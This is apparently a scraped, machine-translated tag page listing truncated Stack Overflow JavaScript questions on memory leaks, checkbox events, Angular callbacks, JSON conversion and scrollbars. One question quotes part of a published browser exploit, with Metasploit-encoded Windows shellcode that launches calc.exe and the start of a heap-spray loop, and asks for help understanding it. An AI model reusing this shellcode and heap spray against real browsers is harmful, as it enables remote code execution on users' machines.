Tag: JavaScript

使用Chrome查找JavaScript内存泄漏

我创build了一个非常简单的testing用例,创build一个Backbone视图,将一个处理程序附加到一个事件,并实例化一个用户定义的类。 我相信通过单击此示例中的“删除”button,一切都将被清除,应该没有内存泄漏。 代码的jsfiddle在这里: http : //jsfiddle.net/4QhR2/ // scope everything to a function function main() { function MyWrapper() { this.element = null; } MyWrapper.prototype.set = function(elem) { this.element = elem; } MyWrapper.prototype.get = function() { return this.element; } var MyView = Backbone.View.extend({ tagName : "div", id : "view", events : { "click #button" : "onButton", }, […]

从onclick / onchange事件获取HTMLcheckbox的价值

<input type="checkbox" onclick="onClickHandler()" onchange="onChangeHandler()" /> 在onClickHandler和/或onChangeHandler ,我怎样才能确定checkbox的新状态?

angular度指令是否可以将指令的parameter passing给指令的属性中指定的expression式?

我有一个表单指令,使用隔离范围指定的callback属性: scope: { callback: '&' } 它位于ng-repeat内部,所以我传递的expression式包含作为callback函数参数的对象的id : <directive ng-repeat = "item in stuff" callback = "callback(item.id)"/> 当我完成了指令,它从它的控制器函数中调用$scope.callback() 。 对于大多数情况下,这是好的,这是我想要做的,但有时我想从directive本身添加另一个参数。 是否有一个angular度expression式可以允许: $scope.callback(arg2) ,导致callback被调用arguments = [item.id, arg2] ? 如果不是的话,最简单的方法是什么? 我发现这个工作: <directive ng-repeat = "item in stuff" callback = "callback" callback-arg="item.id"/> 同 scope { callback: '=', callbackArg: '=' } 和指令调用 $scope.callback.apply(null, [$scope.callbackArg].concat([arg2, arg3]) ); 但我不认为它特别整齐,而且涉及到在隔离范围内增加额外的东西。 有没有更好的办法? 这里的游戏机操场 […]

确定string是否在JavaScript中列表中

在SQL中,我们可以看到一个string是否在列表中,如下所示: Column IN ('a', 'b', 'c') 什么是在JavaScript中做到这一点的好方法? 这样做太笨拙了: if (expression1 || expression2 || str === 'a' || str === 'b' || str === 'c') { // do something } 而我不确定这个的性能或清晰度: if (expression1 || expression2 || {a:1, b:1, c:1}[str]) { // do something } 或者可以使用开关function: var str = 'a', flag = false; switch (str) { case […]

Javascript Post on Form提交打开一个新窗口

https://stackoverflow.com/questions/133925/javascript-post-request-like-a-form-submit告诉你如何提交一个你通过JavaScript创build的表单。 以下是我修改的代码。 var form = document.createElement("form"); form.setAttribute("method", "post"); form.setAttribute("action", "test.jsp"); var hiddenField = document.createElement("input"); hiddenField.setAttribute("name", "id"); hiddenField.setAttribute("value", "bob"); form.appendChild(hiddenField); document.body.appendChild(form); // Not entirely sure if this is necessary form.submit(); 我想要做的是在新窗口中打开结果。 我目前正在使用这样的东西在新窗口中打开一个页面: onclick=window.open(test.html,'','scrollbars=no,menubar=no,height=600,width=800,resizable=yes,toolbar=no,status=no');

将对象string转换为JSON

如何将描述对象的string转换为使用JavaScript(或jQuery)的JSONstring? 例如:转换此( 不是一个有效的JSONstring): var str = "{ hello: 'world', places: ['Africa', 'America', 'Asia', 'Australia'] }" 进入这个: str = '{ "hello": "world", "places": ["Africa", "America", "Asia", "Australia"] }' 如果可能,我很乐意避免使用eval() 。

只是禁用滚动不隐藏它?

我正试图禁用父母的HTML /正文滚动条,而我正在使用灯箱。 这里的主要词是禁用 。 我不想用overflow: hidden;来隐藏它overflow: hidden; 。 这是因为overflow: hidden使站点跳跃并占据滚动区域。 我想知道是否有可能禁用滚动条,同时仍然显示它。

jslint中的“unexpected ++”错误

那么最好的做法是什么呢? Jslint解释说,它“增加了困惑”。 我真的没有看到… 编辑:代码,请求: var all,l,elements,e; all = inElement.getElementsByTagName('*'); l = all.length; elements = []; for (e = 0; e < l; (e++)) { if (findIn) { if (all[e].className.indexOf(className) > 0) { elements[elements.length] = all[e]; } } else { if (all[e].className === className) { elements[elements.length] = all[e]; } } }

帮我理解这个JavaScript漏洞

我通常没有难以阅读的JavaScript脚本,但这一个我无法弄清楚逻辑。 代码来自4天前发布的漏洞利用。 你可以在milw0rmfind它。 这里是代码: <html> <div id="replace">x</div> <script> // windows/exec – 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); […]

Javascript:处理每个字母的文字

我想提醒每个字母的单个字母,但我不确定如何做到这一点。 所以,如果我有: var str = 'This is my string'; 我希望能够单独提醒T,h,i,s等等。这只是我正在开发的一个想法的开始,但是我需要知道如何分别处理每个字母。 我想使用jQuery,并认为我可能需要在testingstring的长度后使用split函数。 想法?